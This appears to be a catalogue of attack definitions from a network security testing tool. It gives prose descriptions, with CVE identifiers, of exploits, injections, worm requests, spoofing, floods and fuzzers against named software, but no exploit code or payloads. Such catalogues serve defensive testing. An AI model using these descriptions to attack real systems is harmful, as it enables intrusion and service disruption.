Protocol Type:	ZEPHYR-CLT
CVEID:	CVE-2008-3479
Threat Package:	Standard
Threat File Name:	FSC20071019-07_Mozilla_Firefox_XBL_Event_Handler_Tags_Removal_Memory_Corruption.xml
Executive Description:	Mozilla Firefox XBL Event Handler Tags Removal Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in Mozilla Foundation's family of browser products. The flaw exists in the XBL (Extensible Binding Language) component and specifically happens via dynamic manipulation of XUL Tags inside Event Handlers. A remote attacker can exploit this vulnerability to execute arbitrary code in the security context of the target browser.
Protocol Type:	TCP
CVEID:	CVE-2007-5339
Threat Package:	Standard
Threat File Name:	FSC20110117-02_HP_OpenView_Network_Node_Manager_nnmRptConfig_exe_nameParams_text1_Buffer_Overflow_IPv6.xml
Executive Description:	HP OpenView Network Node Manager nnmRptConfig.exe nameParams text1 Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager. The vulnerability is due to a boundary error in one of the functions in nnmRptConfig.exe while handling the text1 parameter among the nameParams. Remote attackers can exploit this vulnerability by sending a crafted message to the affected service. Successful exploitation may lead to arbitrary code execution in the context of the affected service.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-0268
Threat File Name:	dhcp_discover_nsupdate_format_hoagie.xml
Executive Description:	DHCP NSUPDATE Format String Attack (hoagie)
Detailed Description:	This threat sends out a DHCP discover message with the NSUPDATE feature set. This code can cause execution on some target machines.
Protocol Type:	DHCP
CVEID:	CVE-2002-0702
OSVDB:	14433
Threat Package:	Standard
Threat File Name:	lynxcgi_IPv6.xml
Executive Description:	Lynx Arbitrary Script Execution Attempt (IPv6 Version)
Detailed Description:	This threat uses a little used URL supported by the Lynx browser called lynxcgi. By abusing poor default configurations in popular linux distributions, this url handler can allow for the downloading and execution of arbitrary scripts. This attack typically would come from a webserver, which listens on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-CVE-2005-2929
OSVDB:	20814
Threat Package:	Standard
Threat File Name:	FSC20081209-21_Microsoft_Visual_Basic_FlexGrid_ActiveX_Control_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Visual Basic FlexGrid ActiveX Control Memory Corruption (IPv6 Version)

Detailed Description:	There exists a memory corruption vulnerability in multiple Microsoft products. The vulnerability is due to improper memory initialization when the FlexGrid ActiveX control is loaded in a web page. Remote attackers can exploit this vulnerability by enticing the target user to visit a malicious web page, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application (IE) may terminate as a result of invalid memory access. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-4253
Threat Package:	Standard
Threat File Name:	TSL20120404-07_Cisco_WebEx_Recording_Format_Player_atas32_dll_0xBB_Subrecords_Integer_Overflow.xml
Executive Description:	Cisco WebEx Recording Format Player atas32.dll 0xBB Subrecords Integer Overflow
Detailed Description:	A code execution vulnerability exists in Cisco WebEx Recording Format (WRF) Player. This vulnerability is due to an integer overflow leading to a heap buffer overflow when the WRF player handles WRF files. A remote, unauthenticated attacker can leverage this vulnerability by crafting a WRF file and enticing a target user to view the malicious file. Successful exploitation would result in execution of arbitrary code on the target host in the context of the application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-1337
OSVDB:	81106
Threat File Name:	FSC20110317-08_Oracle_Java_Applet2ClassLoader_Remote_Code_Execution.xml
Executive Description:	Oracle Java Applet2ClassLoader Remote Code Execution
Detailed Description:	A remote code execution vulnerability exists within Oracle Java Runtime Environment. The vulnerability is due to insufficient validation of the URLs supplied by an implicitly trusted applet which can allow an untrusted applet to gain all privileges. The vulnerability exists in the "findClass" method of the "Applet2ClassLoader" class. Remote unauthenticated attackers can exploit this vulnerability by enticing a target user to run a Java applet to execute arbitrary code on a target system within the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-4452
Threat File Name:	nokia_ggsn_tcp_IPv6.xml
Executive Description:	Nokia GGSN TCP Option Denial of Service (IPv6 Version)
Detailed Description:	This threat sends a TCP Packet with the option set to 0xFF. Causes the Nokia GGSN to crash and reboot with certain versions of firmware. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2003-0368
OSVDB:	4327
Threat Package:	Standard
Threat File Name:	3com_superstack_dos_IPv6.xml
Executive Description:	3Com SuperStack II Denial of Service (IPv6 Version)
Detailed Description:	This threat sends a malformed IP option length parameter. This causes some network devices to crash instantly. (IPv6 Version)
Protocol Type:	IP/IPv6
OSVDB:	22514
Threat Package:	Standard
Threat File Name:	firefoxMemDump_IPv6.xml
Executive Description:	Firefox Arbitrary Memory Read (IPv6 Version)
Detailed Description:	This threat reads arbitrary memory from a user's web browser. Can be used to steal sensitive authentication data to launch further attacks. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0989
OSVDB:	15682
Threat Package:	Standard
Threat File Name:	saphplesson_sqli.xml
Executive Description:	SaPHPLesson Add.PHP SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted query containing an SQL statement which is executed by the server with its permissions. SaPHP Lesson is a web application that typically listens on port 80
Protocol Type:	HTTP
CVEID:	CVE-2006-2835
Threat Package:	Standard
Threat File Name:	NOOPudpUNIX.xml
Executive Description:	UDP NOOP Variant UNIX
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure more probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives.
Protocol Type:	UDP
Threat Package:	Standard
Threat File Name:	http_big_contentlen_IPv6.xml
Executive Description:	HTTP server offers an oversized content length (IPv6 Version)
Detailed Description:	This is a simple attack against an HTTP client by setting a oversized content length. This server side threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20120217-03_Oracle_Java_zip_util_readCEN_Stack_Overflow.xml

Executive Description:	Oracle Java zip_util readCEN Stack Overflow
Detailed Description:	A denial-of-service vulnerability has been discovered in the JRE. The vulnerability is due to an off-by-one error when processing zip archives. This results in a series of recursive calls, terminated by a stack overflow / segmentation fault. An attacker can exploit this vulnerability by causing an application to process a crafted zip archive. The exact nature of an attack will depend on the application's context.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2012-0501
OSVDB:	79228
Threat File Name:	lupper5.xml
Executive Description:	Lupper Worm 5
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	coppermine_xss.xml
Executive Description:	Coppermine <= 1.4.12 Cross Site Scripting
Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. Coppermine is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat File Name:	cmscout_sqli.xml
Executive Description:	CMScout <= 1.23 SQL Injection Vulnerability
Detailed Description:	This threat sends a HTTP request for a URL that contains an SQL query which will be executed on the affected server. CMScout is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20110913-04_Microsoft_Office_Excel_Out_of_Bounds_Array_Indexing_IPv6.xml
Executive Description:	Microsoft Office Excel Out of Bounds Array Indexing(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to an index boundary error leading to memory corruption in the vulnerable product while handling specially crafted Excel files. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected (and executed) on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS,SMTP,SMB/CIFS
CVEID:	CVE-2011-1987
Threat File Name:	chargenecholoop_IPv6.xml
Executive Description:	Chargen and Echo Loop (IPv6 Version)
Detailed Description:	This threat crafts a specific packet causing the echo and chargen UDP services to begin talking to each other. A similar threat can be adjusted to target other connections between two target services. This threat allows the source and destination to be specified separately, even if they are the same machine. (IPv6 Version)
Protocol Type:	UDP/IPv6
CVEID:	CVE-1999-0103
OSVDB:	150
Threat Package:	Standard
Threat File Name:	lupper1_IPv6.xml
Executive Description:	Lupper Worm 1 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	ArpSpoofedTarget.xml
Executive Description:	ARP Targeted Spoof
Detailed Description:	This threat sends out a targeted ARP reply packet, in order to alter the MAC address table of a specific host. Very similar to a broadcast spoof, but specifies only one host to alter information on.
Protocol Type:	ARP
CVEID:	CVE-1999-0667
OSVDB:	11169
Threat Package:	Standard
Threat File Name:	sipnegativecontentlength_IPv6.xml
Executive Description:	SIPPING: Negative Content Length (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with a negative content length. This is not valid and may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	axis_camera_activex_bof_IPv6.xml
Executive Description:	AXIS Camera Control (AxisCamControl.ocx v. 1.0.2.15) Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the AXIS Camera ActiveX application, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2239
Threat Package:	Standard

Threat File Name:	TSL20160614-23_Microsoft_Office_CVE-2016-3234_Information_Disclosure.xml
Executive Description:	Microsoft Office CVE-2016-3234 Information Disclosure
Detailed Description:	An information disclosure vulnerability has been reported in an unspecified component of Microsoft Office. This vulnerability is due to a flaw in how the software handles certain objects in memory. A remote attacker could exploit this vulnerability by enticing a victim user to open a maliciously crafted document. Successful exploitation allows the attacker to disclose sensitive information and potentially bypass ALSR.
Protocol Type:	HTTP
CVEID:	CVE-2016-3234
Threat File Name:	fxscanner_icmp.xml
Executive Description:	FX Scanner ICMP Scan
Detailed Description:	This threat mimics the ICMP packet sent out by the popular vulnerability scanner FX Scanner. Contained within the ICMP payload are the characters hello???. This can be used to identify malicious scanning before it occurs.
Protocol Type:	ICMP
Threat Package:	Standard
Threat File Name:	radiusAuthFormat.xml
Executive Description:	RADIUS Authentication Flood
Detailed Description:	This threat sends a properly formatted RADIUS Authentication Request. The goal here is to deny service to legitimate RADIUS authentication requests through flooding the server.
Protocol Type:	RADIUS
Threat Package:	Standard
Threat File Name:	TSL20130212-20_Microsoft_Internet_Explorer_InsertElement_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer InsertElement Use After Free
Detailed Description:	A code execution vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is caused by the dereferencing of a pointer after the corresponding memory has been released. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-0026
OSVDB:	90123
Threat File Name:	TSL20150421-13_Novell_ZENworks_Configuration_Management_Session_ID_Information_Disclosure.xml
Executive Description:	Novell ZENworks Configuration Management Session ID Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in Novell ZENworks Configuration Management. The vulnerability is due to exposure of insecure functionality within Rtrlet.class. By sending crafted requests to the target server, a remote unauthenticated attacker can leverage this vulnerability to disclosure Session IDs of the logged in users which can be used to used to facilitate further attacks.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-0784
Threat File Name:	TSL20100810-27_Microsoft_Office_Excel_Pivot_Item_Index_Boundary_Error_Memory_Corruption.xml
Executive Description:	Microsoft Office Excel Pivot Item Index Boundary Error Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office Excel. The vulnerability is due to improper parsing of a malformed Excel file. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario where arbitrary code is successfully injected and executed on the target machine the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-2562
OSVDB:	66991
Threat File Name:	ppalcart_rfi_IPv6.xml
Executive Description:	ppalCart V(2.5 EE) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PayProCart is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-4672
Threat Package:	Standard
Threat File Name:	goahead_post.xml
Executive Description:	Goahead Webserver Denial Of Service
Detailed Description:	This threat sends out a POST URI with data that is less than the length of what is specified in the header, causing a crash in the webserver service.
Protocol Type:	HTTP
OSVDB:	3617
Threat Package:	Standard
Threat File Name:	windowsNT_FTPbof-1_IPv6.xml
Executive Description:	MS99-003 Windows NT 4 FTP Buffer Overflow (IPv6 Version)
Detailed Description:	This threat sends an FTP command of NLST after attempting to authenticate as user anonymous. Causes a classic buffer overflow in old versions of Windows NT 4. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-1999-0349
OSVDB:	929
Threat Package:	Standard

Threat File Name:	lupper27.xml
Executive Description:	Lupper Worm 27
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	firefox_marquee_dos.xml
Executive Description:	Firefox Marquee Denial of Service
Detailed Description:	This threat sends a malicious piece of html which will cause Mozilla Firefox and related browsers to crash. This can be used by a malicious attacker to force a user to lose all open webpages. This threat mimics a webserver sending the malicious attack from the virtual server, and would typically be sent across port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2723
Threat Package:	Standard
Threat File Name:	zebrafeeds_rfi.xml
Executive Description:	ZebraFeeds 1.0 (zf_path) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. ZebraFeeds is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	ipv6_cwr_flood.xml
Executive Description:	CWR Flood IPv6
Detailed Description:	This threat is an IPv6 version of a CWR flood.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	TSL20170327-01_Microsoft_IIS_WebDAV_ScStoragePathFromUrl_Buffer_Overflow.xml
Executive Description:	Microsoft IIS WebDAV ScStoragePathFromUrl Buffer Overflow
Detailed Description:	A buffer overflow exists in Microsoft Internet Information Services 6.0. The vulnerability is due to improper validation of a long "If:" header in HTTP requests. A remote attacker could exploit this vulnerability by sending a crafted request over a network to the vulnerable application. Successful exploitation could result in denial of service conditions or, in the worst case, arbitrary code execution in the context of NETWORK SERVICE.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-7269
Threat File Name:	gozilla_IPv6.xml
Executive Description:	Linksys Gozilla.cgi Denial of Service (IPv6 Version)
Detailed Description:	This threat requests a specific URL which is known to cause a denial of service condition in certain Linksys routers. (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	6655
Threat Package:	Standard
Threat File Name:	FSC20080812-20_Microsoft_Internet_Explorer_TextRange_Object_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer TextRange Object Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in the way Microsoft Internet Explorer manages text. The vulnerability is due to an integer overflow error when storing text string, which leads to memory corruption in the browser. Remote unauthenticated attackers could exploit this vulnerability by persuading a target user to visit a specially crafted Web site.Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the logged in user, (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-2255
Threat Package:	Standard
Threat File Name:	opera9_dos_a.xml
Executive Description:	Opera Malicious HTML Processing Denial of Service Vulnerability
Detailed Description:	Opera Web Browser is prone to a denial-of-service condition when parsing certain malicious HTML content. Successful exploits will cause the browser to fail or hang. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-3199
Threat Package:	Standard
Threat File Name:	TSL20110712-14_libsndfile_PAF_File_Integer_Overflow_IPv6.xml
Executive Description:	libsndfile PAF File Integer Overflow(IPv6 Version)
Detailed Description:	An integer overflow vulnerability exists in the Paris Audio Format (PAF) handler of the libsndfile library, which can result in a heap buffer overflow. A remote attacker could entice a target user to open a specially crafted PAF file (with an application that uses the libsndfile library) to effect a heap buffer overflow, and potentially execute arbitrary code. If code execution is unsuccessful, the application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-2696
Threat File Name:	FSC20090417-07_Oracle_Database_DBMS_AQADM_SYS_Package_GRANT_TYPE_ACCESS_Procedure_SQL_Injection.xml
Executive Description:	Oracle Database DBMS_AQADM_SYS Package GRANT_TYPE_ACCESS Procedure SQL Injection

Detailed Description:	An SQL injection vulnerability exists in Oracle Database Server product. The vulnerability exists due to insufficient validation of arguments supplied to the GRANT_TYPE_ACCESS function within the DBMS_AQADM_SYS Package. A remote attacker with valid user credentials may leverage this vulnerability to inject and execute SQL code within the security context of the database administrator. Exploitation of this vulnerability may result in privilege escalation allowing an attacker with limited privileges to execute statements with the privileges of the database system administrator. The exact behaviour of the target system is dependent on the intention of the attacker. It may be possible for an attacker to affect the target host beyond the confines of the database which would allow manipulation of the host system.
Protocol Type:	iSQL *Plus/SMB/CIFS/TNS/TCPs
CVEID:	CVE-2009-0977
Threat Package:	Standard
Threat File Name:	TSL20170201-01_Adobe_Digital_Editions_Epub_XXE_Information_Disclosure_IPv6.xml
Executive Description:	Adobe Digital Editions Epub XXE Information Disclosure (IPv6 Version)
Detailed Description:	An XML external entity (XXE) processing vulnerability has been reported in the XML parsing component of Adobe Digital Editions. The vulnerability is due to a lack of validation on user-supplied input when parsing the XML in Epub documents. A remote attacker could exploit this vulnerability by enticing a user to open a maliciously crafted EPUB document with the affected application. Successful exploitation could allow the attacker to read files that the target user can access.
Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,POP3,FTP, IPv6
CVEID:	CVE-2016-7889
Threat File Name:	FSC20100121-15_Microsoft_Internet_Explorer_Deleted_Table_Object_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Deleted Table Object Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due an error in the handling of deleted HTML table objects, allowing the use of a pointer even after it has been freed. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-0248
Threat Package:	Standard
Threat File Name:	fuzz-HTTP-GET_PrependedHTTPWithformatn.xml
Executive Description:	Fuzz HTTP GET with Request-URI prepended with %n
Detailed Description:	Fuzzes the Request-URI field by prepending %n
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	TSL20130910-28_Microsoft_Internet_Explorer_CVE-2013-3205_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2013-3205 Memory Corruption [IPv6, Version]
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2013-3205
OSVDB:	97094
Threat File Name:	TSL20140522-11_SAP_Sybase_Event_Stream_Processor_esp_parse_ConnectionType_Unsafe_Pointer_Dereference_IPv6.xml
Executive Description:	SAP Sybase Event Stream Processor esp_parse ConnectionType Unsafe Pointer Dereference IPv6 version.
Detailed Description:	Three unsafe pointer dereference vulnerabilities have been reported in SAP Sybase Event Stream Processor (ESP). These vulnerabilities are caused by the listening service accepting unsanitized pointers in XMLRPC requests. By sending crafted requests to a vulnerable server, an remote attacker can cause the service to terminate resulting in a denial of service condition. Tester should turn variable \$destPort into 1024-65535 before test.
Protocol Type:	HTTP.IPv6
CVEID:	CVE-2014-3458
OSVDB:	107265
Threat File Name:	iis_print_IPv6.xml
Executive Description:	IIS .printer Request Buffer Overflow (IPv6 Version)
Detailed Description:	This threat is a buffer overflow request that affects IIS 5.0 for Windows 2000 with Service Pack 1 or previous installed. It takes advantage of a flaw in the .printer directive for this version of IIS. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	nmapPing_IPv6.xml
Executive Description:	nmap ICMP Ping (IPv6 Version)
Detailed Description:	This threat mimics the ping packet that is sent out by the nmap port scanning program. Can be used as part of a portscan of an IP sweep looking for vulnerable ports. (IPv6 Version)
Protocol Type:	ICMP/IPv6
CVEID:	CVE-1999-0454
Threat Package:	Standard
Threat File Name:	FSC20060201-08_Mozilla_Browsers_CSS_moz-binding_Cross_Domain_Scripting_IPv6.xml
Executive Description:	Mozilla Browsers CSS moz-binding Cross Domain Scripting (IPv6 Version)
Detailed Description:	There exists a Cross Site Scripting vulnerability in Mozilla web browser and its derivatives. The flaw is caused by a validation error when processing malicious CSS or HTML documents containing a specially crafted "-moz-binding" property. A remote attacker may exploit this issue to execute arbitrary scripting code in the target's browser session in the context of an arbitrary site. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0496

Threat Package:	Standard
Threat File Name:	TSL20140812-18_Microsoft_Internet_Explorer_CVE-2014-4063_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-4063 Use After Free IPv6 Version
Detailed Description:	A use after free vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote unauthenticated attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS, IPv6
CVEID:	CVE-2014-4063
OSVDB:	109966
Threat File Name:	TSL20120202-07_Multiple_Mozilla_Products_Ogg_Vorbis_Decoding_Memory_Corruption_IPv6.xml
Executive Description:	Multiple Mozilla Products Ogg Vorbis Decoding Memory Corruption(IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in Mozilla Firefox, Thunderbird and Seamonkey. The vulnerability is due to an error while decoding Ogg Vorbis files. A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted Ogg Vorbis file, likely embedded in a webpage. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	IPv6, HTTP, HTTPS, IMAP, POP3, SMTP, SMB
CVEID:	CVE-2012-0444
Threat File Name:	fuzz-ARP_protoAddrSize.xml
Executive Description:	Fuzzer for Protocol:ARP and Field:protoAddrSize
Detailed Description:	
Protocol Type:	ARP
Threat Package:	Fuzzing
Threat File Name:	TSL20170509-25_Microsoft_Windows_SMB_Server_SMBv1_Out_of_Bounds_Read.xml
Executive Description:	Microsoft Windows SMB Server SMBv1 Out of Bounds Read
Detailed Description:	An out of bounds read vulnerability has been reported in the SMB Server component of Microsoft Windows. The vulnerability is due to improper handling of SMBv1 requests. A remote, unauthenticated attacker could exploit the vulnerability by sending a crafted request to a target SMB server. Successful exploitation could possibly result in the disclosure of information which may be used to facilitate further attacks.
Protocol Type:	SMB/CIFS
CVEID:	CVE-2017-0267
Threat File Name:	FSC20100504-02_RealVNC_VNC_Server_ClientCutText_Message_Memory_Corruption.xml
Executive Description:	RealVNC VNC Server ClientCutText Message Memory Corruption
Detailed Description:	A vulnerability has been reported in RealVNC VNC Server. The vulnerability is due to insufficient boundary checks when handling ClientCutText messages sent from RealVNC clients. Remote authenticated attackers could exploit this vulnerability by sending a crafted ClientCutText VNC command. Successful exploitation of this vulnerability may lead to injection and execution of arbitrary code within the context of SYSTEM user on Windows systems. Attack scenarios where code execution is not successful will result in abnormal termination of the VNC Server leading to a Denial of Service condition.
Protocol Type:	RFB
Threat Package:	Standard
Threat File Name:	FSC20091110-01_Microsoft_Office_Excel_SXDB_Memory_Corruption.xml
Executive Description:	Microsoft Office Excel SXDB Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office Excel. The vulnerability is due to the way Microsoft Office Excel handles Excel files containing crafted SXDB records. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMTP/SMB/CIFS
CVEID:	CVE-2009-3127
Threat Package:	Standard
Threat File Name:	FSC20101124-06_Apple_Safari_WebKit_Stale_Pointer_Use-after-free_Code_Execution.xml
Executive Description:	Apple Safari WebKit Stale Pointer Use-after-free Code Execution
Detailed Description:	A code execution vulnerability exists in Apple Safari WebKit. The vulnerability is due to a use-after-free error when processing a stale pointer using element focus. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted web page. In attack scenarios where code execution is successful the behaviour of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally. Note that TELUS Security Labs team has not been able to reproduce this vulnerability using the Apple Safari web browser during the contractual research period. Further investigation is required to understand under what circumstances the vulnerability can be triggered.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2010-3257
Threat File Name:	TSL20111107-01_Oracle_Hyperion_Strategic_Finance_Client_TTF16_ActiveX_SetDevNames_Heap_Buffer_Overflow.xml
Executive Description:	Oracle Hyperion Strategic Finance Client TTF16 ActiveX SetDevNames Heap Buffer Overflow
Detailed Description:	A heap buffer overflow exists in Oracle Hyperion Strategic Finance Client. The vulnerability is due to a boundary error in the SetDevNames() method of the Tidestone Formula One Workbook TTF16.ocx ActiveX control. This can be exploited to inject and execute arbitrary code in the context of the currently logged-on user. A remote attacker could exploit this vulnerability to achieve arbitrary code execution by enticing a target user to open a crafted web page.
Protocol Type:	HTTP, HTTPS

Threat File Name:	InternetExplorerHijackClick_IPv6.xml
Executive Description:	Internet Explorer MS04-038 Mouse Drag Hijack (IPv6 Version)
Detailed Description:	This threat attempts to hijack the mousedown event, causing a drag operation to occur, and place the website into the bookmarks list. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0841
OSVDB:	10708
Threat Package:	Standard
Threat File Name:	FSC20071109-12_AOL_Radio_AmpX_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	AOL Radio AmpX ActiveX Control Buffer Overflow
Detailed Description:	There exists multiple buffer overflow vulnerabilities in AOL Radio. These vulnerabilities are caused due to boundary errors within the AOL Radio AmpX ActiveX Control. A remote attack can exploit this vulnerability by enticing the target user to open a crafted webpage, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2007-5755
Threat Package:	Standard
Threat File Name:	TSL20131120-01_Nginx_Request_URI_Verification_Security_Bypass.xml
Executive Description:	Nginx Request URI Verification Security Bypass
Detailed Description:	There exists a security bypass vulnerability in Nginx. The vulnerability is caused by improper handling of unescaped space characters within URIs. A remote attacker can exploit this vulnerability to bypass security restrictions in certain configurations.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-4547
OSVDB:	100015
Threat File Name:	mmimap_bof.xml
Executive Description:	Mercur Messaging 2005 IMAP Remote Buffer Overflow Vulnerability
Detailed Description:	This threat sends a specially crafted string to MMIMAP that leverages a buffer overflow vulnerability and can result in code execution or a denial of service condition. Mercur Messaging IMAP is an IMAP server that typically listens on port 143.
Protocol Type:	IMAP
CVEID:	CVE-2006-1255
OSVDB:	23950
Threat Package:	Standard
Threat File Name:	sipvoicemailon_IPv6.xml
Executive Description:	SIP Voicemail Alert (IPv6 Version)
Detailed Description:	This threat sends out a SIP message to a phone informing it that it has voicemail. Sending this threat to a large number of phones at once can confuse many users and overwhelm both the voicemail system and tech support. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	proxy_hunt2_IPv6.xml
Executive Description:	Proxy Hunting with CONNECT (IPv6 Version)
Detailed Description:	This threat uses the CONNECT method to attempt to connect to imperfect networks' website. Misconfigured proxies are used by hackers to attempt to learn more information about an inside network, and to launch network attacks anonymously. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	minis.xml
Executive Description:	Minis Denial of Service Attack
Detailed Description:	This threat sends out a HTTP request that causes Minis to retrieve a file ending in .log off of a server. Minis is a small open source web logging application.
Protocol Type:	HTTP
CVEID:	CVE-2005-0293
OSVDB:	13008
Threat Package:	Standard
Threat File Name:	efiction_cmi.xml
Executive Description:	eFiction Image Upload Arbitrary Command Execution
Detailed Description:	This threat posts a malicious image file which allows the execution of arbitrary commands.
Protocol Type:	HTTP
CVEID:	CVE-2005-4171
OSVDB:	21124
Threat File Name:	http_explorerwebserv_transversal.xml
